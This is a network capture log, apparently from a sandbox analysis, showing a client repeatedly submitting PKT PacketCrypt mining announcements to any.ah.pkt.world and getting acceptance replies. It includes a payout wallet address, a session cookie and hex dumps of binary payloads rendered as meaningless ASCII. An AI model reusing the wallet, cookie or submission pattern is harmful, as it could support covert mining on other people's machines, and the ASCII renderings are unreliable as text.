74 68 35 61 22 2c 22 75 6e 73 69 67 6e 65 64 22 3a 36 30 2c 22 74 6f 74 61 6c 4c 65 6e 22 3a 30 2c 22 74 61 72 67 65 74 22 3a 35 32 31 36 31 38 33 35 36 2c 22 74 69 6d 65 22 3a 31 37 33 36 32 35 34 37 34 35 34 34 37 2c 22 65 76 65 6e 74 49 64 22 3a 22 63 61 68 2d 32 38 33 37 30 39 35 2d 34 37 31 35 32 32 38 41 46 36 37 41 39 46 37 35 31 39 38 44 36 41 30 31 34 41 37 30 43 44 35 44 22 7d 7d Data Ascii: {"warn":[],"error":[],"result":{"type":"anns","accepted":60,"dup":0,"inval":0,"badHash":0,"runt":0,"internalErr":0,"payTo":"pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a","unsigned":60,"totalLen":0,"target":521618356,"time":1736254745447,"eventId":"cah-2837095-4715228AF67A9F75198D6A014A70CD5D"}}
Jan 7, 2025 13:59:05.733263016 CET	458	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Jan 2025 12:59:05 GMT Content-Type: application/json Content-Length: 294 Connection: keep-alive Data Raw: 7b 22 77 61 72 6e 22 3a 5b 5d 2c 22 65 72 72 6f 72 22 3a 5b 5d 2c 22 72 65 73 75 6c 74 22 3a 7b 22 74 79 70 65 22 3a 22 61 6e 6e 73 22 2c 22 61 63 63 65 70 74 65 64 22 3a 36 30 2c 22 64 75 70 22 3a 30 2c 22 69 6e 76 61 6c 22 3a 30 2c 22 62 61 64 48 61 73 68 22 3a 30 2c 22 72 75 6e 74 22 3a 30 2c 22 69 6e 74 65 72 6e 61 6c 45 72 72 22 3a 30 2c 22 70 61 79 54 6f 22 3a 22 70 6b 74 31 71 78 79 73 63 35 38 67 34 63 77 77 61 75 74 67 36 64 72 34 70 37 71 37 73 64 36 74 6e 32 6c 64 67 75 6b 74 68 35 61 22 2c 22 75 6e 73 69 67 6e 65 64 22 3a 36 30 2c 22 74 6f 74 61 6c 4c 65 6e 22 3a 30 2c 22 74 61 72 67 65 74 22 3a 35 32 31 36 31 38 33 35 36 2c 22 74 69 6d 65 22 3a 31 37 33 36 32 35 34 37 34 35 34 34 37 2c 22 65 76 65 6e 74 49 64 22 3a 22 63 61 68 2d 32 38 33 37 30 39 35 2d 34 37 31 35 32 32 38 41 46 36 37 41 39 46 37 35 31 39 38 44 36 41 30 31 34 41 37 30 43 44 35 44 22 7d 7d Data Ascii: {"warn":[],"error":[],"result":{"type":"anns","accepted":60,"dup":0,"inval":0,"badHash":0,"runt":0,"internalErr":0,"payTo":"pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a","unsigned":60,"totalLen":0,"target":521618356,"time":1736254745447,"eventId":"cah-2837095-4715228AF67A9F75198D6A014A70CD5D"}}

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 13:59:15.224980116 CET	277	OUT	POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1 x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a x-pc-sver: 1 x-pc-annver: 1 x-pc-worknum: 2837097 accept: / host: any.ah.pkt.world transfer-encoding: chunked
Jan 7, 2025 13:59:15.225089073 CET	11124	OUT	Data Raw: 34 30 30 0d 0a 01 28 17 00 4f 7c 8c e1 b4 43 17 1f 68 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 400(O\|ChJ+^hEXe\k'`2)jAw]s/k1#b(DuuVjpg'.a`T!LwT48+M-509v$B:uy\|a)TDuO
Jan 7, 2025 13:59:15.229877949 CET	1236	OUT	Data Raw: 7b 96 7e d9 32 72 d7 72 c0 46 42 cd 50 c9 ba 56 dc f5 bd 1a 8b 58 aa 21 41 f9 7e 58 2e d7 a3 b4 13 15 31 1f d3 a0 d2 d8 5f ac 4e 0b 04 80 66 82 91 46 e5 95 ea a4 72 1c 8e b7 cd 91 6d 4c 3b 83 43 3f 11 58 74 18 22 49 7c 53 3d ee 3d 58 91 4b 8b 21 Data Ascii: {~2rrFBPVX!A~X.1_NfFrmL;C?Xt"I\|S==XK!B!'"HqriYs<\|R0?Gi=9#Dc;fNsyf+nHt>$?5K(t64z104004M\|ChJ+
Jan 7, 2025 13:59:15.229983091 CET	4944	OUT	Data Raw: 2f 5d 43 d0 f4 46 54 e1 aa 0e 0d 0a 34 30 30 0d 0a 01 64 0f 00 4c 7c 8c e1 b4 43 17 1f 68 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: /]CFT400dL\|ChJ+hELX}A}L2<bSw_op=WTW9}bJQkB-/bY\9Hyxx[?tz
Jan 7, 2025 13:59:15.230058908 CET	2472	OUT	Data Raw: 7e 82 b8 60 22 53 74 f6 5a 92 9b a9 c7 61 ca 69 38 31 90 39 52 bc 5b c5 ef ca 1f 06 02 94 fe c9 17 39 97 e6 39 7c 05 cd 89 97 b0 05 1d 34 38 0f 24 68 43 91 34 05 d4 a9 5e 2b 02 68 5e 87 02 c5 11 71 8b 24 ca fd da 18 b6 fd 21 9e 7f e3 c1 89 31 87 Data Ascii: ~`"StZai819R[99\|48$hC4^+h^q$!1qXSGB'qZ1!E;M/&tKbx8),Uf\|jHrDQC"EMgfO+V61'EX$=JF&EqX m400O\|ChJ+
Jan 7, 2025 13:59:15.230074883 CET	2472	OUT	Data Raw: 42 66 6e c3 2a b3 62 d3 3d b2 52 da 9e 25 4e 11 00 8d 2a 1e 48 5a d4 d7 ab 3f 09 33 ed c4 e8 aa 02 c7 f6 a2 0a 83 27 db db a9 18 0b bb 21 79 0a a3 1f bc 63 44 79 c7 8d 34 1e a0 bc 14 bd 25 33 9a 8c 5a ba 53 40 be 07 1d 4c 96 61 b7 1b ab f0 d7 fe Data Ascii: Bfnb=R%NHZ?3'!ycDy4%3ZS@La&r7}z/2Y[d*Q1Kp>iw/QD4-r]\|yNzX1.@,uU3lHk\g6C&a;S@h_TV
Jan 7, 2025 13:59:15.230154037 CET	4944	OUT	Data Raw: 57 58 02 c1 63 31 c1 8d ae 8d 8c cd 8f 81 02 e6 07 79 3c a6 54 ed 26 d7 d3 2c 09 d2 81 b8 6a 1f 4a 8a 2f 85 68 09 01 41 e2 0a bd e7 94 11 e2 5b 73 d0 72 94 d9 36 f7 f9 de 7b 37 4a 38 99 07 9c 76 77 c0 d2 4b 5c 67 c0 63 ab 01 1b 55 e1 a0 7e d6 c6 Data Ascii: WXc1y<T&,jJ/hA[sr6{7J8vwK\gcU~"1J;Zla?lU #0}~<J6],q{j-B)d^*~v$od<z4 EK;$2q:-N:(zBFG@/c/Jr+l4(^
Jan 7, 2025 13:59:15.230258942 CET	7416	OUT	Data Raw: c0 9b 21 58 88 16 64 6f b8 b1 ab f6 c4 f6 61 b5 cc 36 3b 59 32 35 0b 9e 2a 76 46 56 a1 e1 f7 f1 8c a7 15 9d 17 36 fc db 39 dd f6 1f 45 ce 35 8e 11 0c c1 d7 9a 29 65 7a bb 05 ca 09 51 32 b9 ea 41 d3 28 90 91 e0 68 b8 91 45 c5 42 75 4d b9 8b 89 93 Data Ascii: !Xdoa6;Y25vFV69E5)ezQ2A(hEBuM\|-HJ`UIiA_KClN^"(t>JO(-%5YU5eRo;;$duS.><EJdX`D.3&*
Jan 7, 2025 13:59:15.234863997 CET	2472	OUT	Data Raw: 1e 10 3e d0 b9 66 a7 79 0a 9f be ec ba 35 58 93 8a 31 33 12 6f 14 93 42 78 9a 60 62 6a e1 fb 78 74 06 d7 26 e9 5d f4 63 a3 1d c3 60 86 46 92 46 70 9b 3e 61 cf 54 6f 89 88 4b bb 94 b2 36 bf 3c 67 63 82 b6 37 00 91 b1 99 a9 c7 db 0b 0c 27 61 ee 5f Data Ascii: >fy5X13oBx`bjxt&]c`FFp>aToK6<gc7'a_+E.!*WB-efsLAaIw3.h+o"\|wn-}yE514RtW-X\|:%<T,'@:05]J?^cgI@$_=sfsE-f\
Jan 7, 2025 13:59:15.234882116 CET	2472	OUT	Data Raw: b1 60 dc c6 b3 c9 33 91 69 f4 29 72 33 41 83 c5 69 8f 42 88 59 ec d9 ad c9 3b b2 2f 05 f1 80 a9 a0 26 0d 0a 34 30 30 0d 0a 01 9d 19 00 4e 7c 8c e1 b4 43 17 1f 68 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `3i)r3AiBY;/&400N\|ChJ+(t/\|(nc/5zmkUYMBc0Z(KU<I7s?# pjijB!}#F;0>!Lm
Jan 7, 2025 13:59:15.235002995 CET	2472	OUT	Data Raw: d7 58 ff 2f 9f 9d 7c 4a 94 cb 70 b3 b5 02 d2 f6 e0 a3 3c f7 59 17 0c 86 22 da 6a 9f c6 ac bb c2 54 79 eb a7 fc ea 10 d4 e8 e9 28 d8 a3 61 fd b5 eb 28 e4 9a 47 91 25 a4 e8 4f 0d 32 09 39 af be 33 81 3b 14 87 33 fc b0 db 5e 51 e4 dc 3a 07 cd 4d d4 Data Ascii: X/\|Jp<Y"jTy(a(G%O293;3^Q:MX(9q2=K`)HA\|riO!Tsb'(LK*_#-o=2nC]b1}{=DYkF\{j.GE[k
Jan 7, 2025 13:59:16.267261982 CET	460	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Jan 2025 12:59:16 GMT Content-Type: application/json Content-Length: 296 Connection: keep-alive Data Raw: 7b 22 77 61 72 6e 22 3a 5b 5d 2c 22 65 72 72 6f 72 22 3a 5b 5d 2c 22 72 65 73 75 6c 74 22 3a 7b 22 74 79 70 65 22 3a 22 61 6e 6e 73 22 2c 22 61 63 63 65 70 74 65 64 22 3a 35 32 30 2c 22 64 75 70 22 3a 30 2c 22 69 6e 76 61 6c 22 3a 30 2c 22 62 61 64 48 61 73 68 22 3a 30 2c 22 72 75 6e 74 22 3a 30 2c 22 69 6e 74 65 72 6e 61 6c 45 72 72 22 3a 30 2c 22 70 61 79 54 6f 22 3a 22 70 6b 74 31 71 78 79 73 63 35 38 67 34 63 77 77 61 75 74 67 36 64 72 34 70 37 71 37 73 64 36 74 6e 32 6c 64 67 75 6b 74 68 35 61 22 2c 22 75 6e 73 69 67 6e 65 64 22 3a 35 32 30 2c 22 74 6f 74 61 6c 4c 65 6e 22 3a 30 2c 22 74 61 72 67 65 74 22 3a 35 32 31 36 31 38 33 35 36 2c 22 74 69 6d 65 22 3a 31 37 33 36 32 35 34 37 35 36 31 37 32 2c 22 65 76 65 6e 74 49 64 22 3a 22 63 61 68 2d 32 38 33 37 30 39 36 2d 46 46 45 41 37 31 34 33 44 42 37 41 41 33 41 42 35 35 43 45 33 34 39 46 45 45 33 32 30 36 34 35 22 7d 7d Data Ascii: {"warn":[],"error":[],"result":{"type":"anns","accepted":520,"dup":0,"inval":0,"badHash":0,"runt":0,"internalErr":0,"payTo":"pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a","unsigned":520,"totalLen":0,"target":521618356,"time":1736254756172,"eventId":"cah-2837096-FFEA7143DB7AA3AB55CE349FEE320645"}}

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 13:59:25.813487053 CET	277	OUT	POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1 x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a x-pc-sver: 1 x-pc-annver: 1 x-pc-worknum: 2837097 accept: / host: any.ah.pkt.world transfer-encoding: chunked
Jan 7, 2025 13:59:25.813630104 CET	11124	OUT	Data Raw: 34 30 30 0d 0a 01 0e 43 05 4e 7c 8c e1 b4 43 17 1f 68 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 400CN\|ChJ+u3!qc%R7^G~tss=`N17gQTp[(>lg>R'`s4w$8<SZSnw}!Sj(2NB$J{KJw;eyB.laCu'%8u
Jan 7, 2025 13:59:25.818470955 CET	1236	OUT	Data Raw: 12 14 b4 2e 09 82 5d 39 60 40 3f 9f 07 c9 ae 62 a8 27 31 f5 8f 0e 53 7a 1d d6 8d 64 45 3e 4e c2 2b 51 87 0c 66 56 bc f2 33 2f 08 1d c4 85 41 c1 2f e2 40 a1 fd e1 80 1d 42 ba 27 c3 f8 a3 82 2c 99 a4 db 36 f0 e2 c9 c6 d9 94 7d b3 6b 7f 42 93 cb 6f Data Ascii: .]9`@?b'1SzdE>N+QfV3/A/@B',6}kBoEY`I"IKvM/&tKbx8),Uf\|jHrDQC"EMgfO+NT8#ns<%?uu\+6"400'O\|ChJ+
Jan 7, 2025 13:59:25.818531990 CET	4944	OUT	Data Raw: 9a d9 be 89 e3 35 78 75 c8 24 0d 0a 34 30 30 0d 0a 01 11 37 06 4f 7c 8c e1 b4 43 17 1f 68 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 5xu$4007O\|ChJ+913kLE;H?VQP3BS\|<io;x==b>4N"z&[)PY_T57c*S"gIQ
Jan 7, 2025 13:59:25.818552971 CET	2472	OUT	Data Raw: f2 1e ea 49 e1 39 06 82 25 d4 61 37 b6 04 ed 9d 12 96 f1 29 71 a3 a9 dc 54 78 0f 94 ea d0 18 53 f8 d0 ec af 80 4d 9e b6 78 46 7f 1a b7 8d 44 2c b1 de 22 ad 74 b9 49 e7 31 47 b8 b0 e2 0d 6d 25 86 ed 62 bc 60 fa dd c3 3c 8e 3c 15 a8 21 3c 9c f3 03 Data Ascii: I9%a7)qTxSMxFD,"tI1Gm%b`<<!<F0Rd $EBK[o=9p;3[xY{V:+qn~)!1*A=e6p2Ose"M"NH8Z?Uv:Q)gAe 2Ze~`5/400?O\|ChJ+
Jan 7, 2025 13:59:25.818583965 CET	4944	OUT	Data Raw: 4f f9 0e 0b fd 3a 7a e6 e2 f6 9e b4 09 4b b1 20 f8 3a f1 34 0d 12 37 7a 15 06 c4 46 84 b7 47 ea f9 c9 0b ce 1f e5 60 72 84 3c 27 ac c5 d9 80 44 4a c7 14 91 35 dc 25 4a 7e d4 3f 7a 11 2b f1 ec 99 11 e5 7d 64 f9 e0 00 34 40 bb 60 92 af 8d 22 62 bd Data Ascii: O:zK :47zFG`r<'DJ5%J~?z+}d4@`"b__0>~Y*Kq1Y)uh!m_C_` ,\8KfLEq4:,N@v4HxE\Ufr;]oC,:;?ffdY_i+x4%3CqOyhK+4a
Jan 7, 2025 13:59:25.818722963 CET	4944	OUT	Data Raw: aa 3a 6e 20 b3 49 72 3b e6 d9 73 f3 36 cd a9 f8 ad 64 c0 7a dc 5a 0d 0a 34 30 30 0d 0a 01 39 18 05 4d 7c 8c e1 b4 43 17 1f 68 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: :n Ir;s6dzZ4009M\|ChJ+<90NcgKx8**Rz<sS'\|aEX{8[pIAy#cT7kJD-267 z%+ y`
Jan 7, 2025 13:59:25.818764925 CET	4944	OUT	Data Raw: 45 82 d3 11 ca f6 f7 5f d7 c4 95 ed 92 70 26 e2 db 4d a8 ab 62 6d 1a 18 06 49 0d 7c e3 c2 3d 5f 4a b1 99 3b 47 1a d8 aa 9f 18 44 12 73 d6 9d e2 a3 c4 af e6 b9 9d 1e 69 c8 12 02 51 8d 6d db ab 9e 97 10 50 9c a4 c4 83 18 ac e0 6c ec e1 6b db 80 e2 Data Ascii: E_p&MbmI\|=_J;GDsiQmPlk&#'4mty?;N\h}_f7I^8.>>\|R0?Gi=9#Dc;fNsyf+nHt1)y?NE-NU:XL400C
Jan 7, 2025 13:59:25.823474884 CET	2472	OUT	Data Raw: 3a cc bf db 87 fa 30 0a 46 f8 2b 52 de 90 13 a9 88 2c 79 8b 42 e0 64 a9 6c 2b 72 84 a1 3b 8d 98 ac 56 48 7d bf ec 21 b6 f4 fc eb 35 97 8f 42 2f 3a 8f 85 54 f5 f5 17 eb 5f 8f 28 1b 03 48 17 c2 15 cd 16 23 43 5d 54 a3 64 0d 30 a7 84 bd e1 9f 57 8c Data Ascii: :0F+R,yBdl+r;VH}!5B/:T_(H#C]Td0WBrg9x`J>6d_)}.YqLxLMD):nY20v1GZDQ.U&5.=~%GVB-'~uLg#Ne[=F
Jan 7, 2025 13:59:25.823512077 CET	2472	OUT	Data Raw: 79 41 72 fd 7e 67 54 8c b9 77 0d 67 0b 80 b9 c9 14 be ac 90 13 ad 98 76 d5 1e f2 cd c7 6a b4 f8 7f 04 0d 0a 34 30 30 0d 0a 01 74 74 06 4f 7c 8c e1 b4 43 17 1f 68 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: yAr~gTwgvj400ttO\|ChJ+*\|zp\|]Rsa O{Un{Z),#ogWm-@t7 .j0;\|TPT- 4vW
Jan 7, 2025 13:59:25.823554039 CET	4944	OUT	Data Raw: 18 06 0a 73 0f 89 17 09 dc 6f 58 ea 22 11 69 84 3f 83 11 03 0d 02 8c bc 85 e4 36 d0 bd 74 7b 63 77 33 21 69 7a 81 fa 6c 62 ef 85 a2 bf 7f 2c da f5 5e 6f b6 c4 db 75 dc c0 da 8b a0 9c 5a 8c e9 e4 53 79 98 58 bf a3 e9 40 1f 76 47 c2 0e 9e f1 8f 11 Data Ascii: soX"i?6t{cw3!izlb,^ouZSyX@vG7lAbNY"#8kn;W"Ia<$t20F#0U! 0Hh/_bR9,%\:6c{$lEp@KR3pY(cd
Jan 7, 2025 13:59:26.522042036 CET	460	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Jan 2025 12:59:26 GMT Content-Type: application/json Content-Length: 296 Connection: keep-alive Data Raw: 7b 22 77 61 72 6e 22 3a 5b 5d 2c 22 65 72 72 6f 72 22 3a 5b 5d 2c 22 72 65 73 75 6c 74 22 3a 7b 22 74 79 70 65 22 3a 22 61 6e 6e 73 22 2c 22 61 63 63 65 70 74 65 64 22 3a 34 37 35 2c 22 64 75 70 22 3a 30 2c 22 69 6e 76 61 6c 22 3a 30 2c 22 62 61 64 48 61 73 68 22 3a 30 2c 22 72 75 6e 74 22 3a 30 2c 22 69 6e 74 65 72 6e 61 6c 45 72 72 22 3a 30 2c 22 70 61 79 54 6f 22 3a 22 70 6b 74 31 71 78 79 73 63 35 38 67 34 63 77 77 61 75 74 67 36 64 72 34 70 37 71 37 73 64 36 74 6e 32 6c 64 67 75 6b 74 68 35 61 22 2c 22 75 6e 73 69 67 6e 65 64 22 3a 34 37 35 2c 22 74 6f 74 61 6c 4c 65 6e 22 3a 30 2c 22 74 61 72 67 65 74 22 3a 35 32 31 36 31 38 33 35 36 2c 22 74 69 6d 65 22 3a 31 37 33 36 32 35 34 37 36 36 34 33 31 2c 22 65 76 65 6e 74 49 64 22 3a 22 63 61 68 2d 32 38 33 37 30 39 36 2d 41 32 31 35 43 39 33 30 46 43 42 44 32 42 41 41 45 38 43 33 33 42 44 36 43 35 41 31 36 36 39 32 22 7d 7d Data Ascii: {"warn":[],"error":[],"result":{"type":"anns","accepted":475,"dup":0,"inval":0,"badHash":0,"runt":0,"internalErr":0,"payTo":"pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a","unsigned":475,"totalLen":0,"target":521618356,"time":1736254766431,"eventId":"cah-2837096-A215C930FCBD2BAAE8C33BD6C5A16692"}}
Jan 7, 2025 13:59:34.910753965 CET	64272	OUT	POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1 x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a x-pc-sver: 1 x-pc-annver: 1 x-pc-worknum: 2837097 accept: / host: any.ah.pkt.world transfer-encoding: chunked Data Raw: 34 30 30 0d 0a 01 84 af 0a 4e 7c 8c e1 b4 43 17 1f 68 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e7 af 8f a7 d5 d0 a8 88 0f f0 37 e8 91 38 6c ea a3 21 3c 5e cb 41 f1 a4 c0 d6 17 33 0d b6 43 c5 fa f9 51 47 c5 0e 3e b6 6b e1 0a ca d6 73 5f 5e b7 4f 2a 27 cb 06 ed 2c 9b 10 1a 77 21 92 73 38 93 15 e5 38 4e 71 99 c2 94 ee 3d b1 26 fa b8 6a aa e3 c1 84 8e 75 b5 7a c6 fb 59 c6 49 3b ac 08 7f c5 ae 93 ba 1c ec b8 60 e8 78 4c e6 c2 84 97 d3 20 10 cf 56 76 ea 4d a7 16 37 1d 3e 8c 85 36 e0 57 7e cc e2 37 e8 be 73 e8 5d ab 75 c7 3a 35 6a a2 d2 cd ec 97 23 21 82 41 77 ee 7b 4b da 92 10 87 db 20 d3 b4 90 9c 35 57 9c fb c5 82 91 22 e8 e0 2f 8a 9c 5d f5 a6 d8 70 98 19 12 e7 d2 32 7f 2a 27 43 ce 51 3b 54 8b 93 d1 15 b0 9c a5 56 cc 3c e3 82 35 58 fa f3 cd 83 7b 37 6d 83 02 bb 56 42 8d 90 9c c5 f7 11 a1 c8 50 22 0b a0 76 4a 56 0a 22 91 cd [TRUNCATED] Data Ascii: 400N\|ChJ+78l!<^A3CQG>ks_^O',w!s88Nq=&juzYI;`xL VvM7>6W~7s]u:5j#!Aw{K 5W"/]p2'CQ;TV<5X{7mVBP"vJV"]ZlBO}e@[PPN(XnOY&B N\1{&GwvqeE'WjNKM#/2M$UxznP'2]-B<Y)o 09E]3%fK{T?,\| 1gG5f2:xzl?P{UH6jG(<_]E8aFMs B(X{wK7GSPd+"]IE5^Z9)BytQ,Nh3C5qHpD_1(>mc03M&.w7=c5??N11E9n@v;uqJ.[[srbe,vg?JbnQWYjp$aINItE:\|%Vy{p]>HvWgYav.n23[xY{V:+qn~)!1A=e6p2Ose"M"NH8Z?Uv:Q)f7nyp\pvT7w_ [TRUNCATED]
Jan 7, 2025 13:59:37.355875015 CET	460	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Jan 2025 12:59:37 GMT Content-Type: application/json Content-Length: 296 Connection: keep-alive Data Raw: 7b 22 77 61 72 6e 22 3a 5b 5d 2c 22 65 72 72 6f 72 22 3a 5b 5d 2c 22 72 65 73 75 6c 74 22 3a 7b 22 74 79 70 65 22 3a 22 61 6e 6e 73 22 2c 22 61 63 63 65 70 74 65 64 22 3a 34 34 33 2c 22 64 75 70 22 3a 30 2c 22 69 6e 76 61 6c 22 3a 30 2c 22 62 61 64 48 61 73 68 22 3a 30 2c 22 72 75 6e 74 22 3a 30 2c 22 69 6e 74 65 72 6e 61 6c 45 72 72 22 3a 30 2c 22 70 61 79 54 6f 22 3a 22 70 6b 74 31 71 78 79 73 63 35 38 67 34 63 77 77 61 75 74 67 36 64 72 34 70 37 71 37 73 64 36 74 6e 32 6c 64 67 75 6b 74 68 35 61 22 2c 22 75 6e 73 69 67 6e 65 64 22 3a 34 34 33 2c 22 74 6f 74 61 6c 4c 65 6e 22 3a 30 2c 22 74 61 72 67 65 74 22 3a 35 32 31 36 31 38 33 35 36 2c 22 74 69 6d 65 22 3a 31 37 33 36 32 35 34 37 37 37 32 36 31 2c 22 65 76 65 6e 74 49 64 22 3a 22 63 61 68 2d 32 38 33 37 30 39 36 2d 43 46 35 36 46 34 31 37 36 33 43 42 39 37 38 42 45 31 32 41 35 36 45 45 32 42 38 31 32 32 37 42 22 7d 7d Data Ascii: {"warn":[],"error":[],"result":{"type":"anns","accepted":443,"dup":0,"inval":0,"badHash":0,"runt":0,"internalErr":0,"payTo":"pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a","unsigned":443,"totalLen":0,"target":521618356,"time":1736254777261,"eventId":"cah-2837096-CF56F41763CB978BE12A56EE2B81227B"}}
Jan 7, 2025 14:00:05.017090082 CET	64272	OUT	POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1 x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a x-pc-sver: 1 x-pc-annver: 1 x-pc-worknum: 2837098 accept: / host: any.ah.pkt.world transfer-encoding: chunked Data Raw: 34 30 30 0d 0a 01 8b e9 04 4f 7c 8c e1 b4 43 17 1f 69 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 97 21 8d 27 03 f0 bc 50 5a 64 71 c8 bd 6c 29 96 29 b0 9f ad 62 36 b3 4f 5b de c8 da 34 b6 0e fc 09 a7 bb 7f ff 01 f4 87 3c fb dc 90 15 53 ad 03 26 6e 45 28 64 39 a6 92 26 a0 f0 68 fe 2f ff 57 63 1a 32 e8 71 3f f4 79 cc 0c f5 05 3d 81 af 4c fb 27 ca c5 aa 74 50 6e 1e 17 14 69 2a 14 65 d3 5a 2f 30 76 06 a1 c4 e1 51 06 1a ce 48 ab af 26 cc 0a b5 da fa 07 65 4e a5 03 1b 13 96 bd 4e 58 47 8e 21 8a c0 b3 dc 9d 30 60 d6 91 f0 3f 99 32 e3 5a 8f 1b e1 f5 a8 0b 0d 2c 23 5c 2b d8 9f 10 09 e8 3d fd cc 80 7c 96 02 62 eb 40 cf 73 09 f7 18 73 11 1b 0b 3b ea 30 95 23 ba 8a 1b 9e 43 3a db 7f c7 77 65 33 be d5 a5 bf 69 33 b6 e5 19 43 48 c7 4f 8f 5c e1 2c 3c 91 d6 d6 e7 fa 38 8e 29 38 87 81 b3 04 34 b1 63 de 08 46 08 7c 93 e0 c2 24 53 47 83 6e [TRUNCATED] Data Ascii: 400O\|CiJ+!'PZdql))b6O[4<S&nE(d9&h/Wc2q?y=L'tPnieZ/0vQH&eNNXG!0`?2Z,#\+=\|b@ss;0#C:we3i3CHO\,<8)84cF\|$SGn bw)`99aZ{..@rMz~8rXLIYF@uaJsT}Tl6]J/1nnyVk0T'x\|1>uw:FS.;~x/-"$k-g.wJBr(w,rkFeI%M52rx,]<1jj}5p20w=6"94g^N=fQ?R#i'F!)#xDSW] xH9\| @GXvz),o=nE1ooQoamL$1_gmpG~NLJg)Sp*yZ76adPQ;Gc.8\E@#]HQk,d1/@r~nhxMdJV>$;[E@V4FF;e$_H;]andGsAUfk^NR=VJfRmH"sq&KxyAg{n]pt=KN8Q [TRUNCATED]
Jan 7, 2025 14:00:07.334872007 CET	460	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Jan 2025 13:00:07 GMT Content-Type: application/json Content-Length: 296 Connection: keep-alive Data Raw: 7b 22 77 61 72 6e 22 3a 5b 5d 2c 22 65 72 72 6f 72 22 3a 5b 5d 2c 22 72 65 73 75 6c 74 22 3a 7b 22 74 79 70 65 22 3a 22 61 6e 6e 73 22 2c 22 61 63 63 65 70 74 65 64 22 3a 34 39 34 2c 22 64 75 70 22 3a 30 2c 22 69 6e 76 61 6c 22 3a 30 2c 22 62 61 64 48 61 73 68 22 3a 30 2c 22 72 75 6e 74 22 3a 30 2c 22 69 6e 74 65 72 6e 61 6c 45 72 72 22 3a 30 2c 22 70 61 79 54 6f 22 3a 22 70 6b 74 31 71 78 79 73 63 35 38 67 34 63 77 77 61 75 74 67 36 64 72 34 70 37 71 37 73 64 36 74 6e 32 6c 64 67 75 6b 74 68 35 61 22 2c 22 75 6e 73 69 67 6e 65 64 22 3a 34 39 34 2c 22 74 6f 74 61 6c 4c 65 6e 22 3a 30 2c 22 74 61 72 67 65 74 22 3a 35 32 31 36 31 38 33 35 36 2c 22 74 69 6d 65 22 3a 31 37 33 36 32 35 34 38 30 37 32 34 32 2c 22 65 76 65 6e 74 49 64 22 3a 22 63 61 68 2d 32 38 33 37 30 39 37 2d 43 44 32 37 34 43 44 37 37 45 38 38 43 31 33 30 43 32 37 30 43 30 36 39 31 31 39 38 37 36 45 34 22 7d 7d Data Ascii: {"warn":[],"error":[],"result":{"type":"anns","accepted":494,"dup":0,"inval":0,"badHash":0,"runt":0,"internalErr":0,"payTo":"pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a","unsigned":494,"totalLen":0,"target":521618356,"time":1736254807242,"eventId":"cah-2837097-CD274CD77E88C130C270C069119876E4"}}

Timestamp	Bytes transferred	Direction	Data
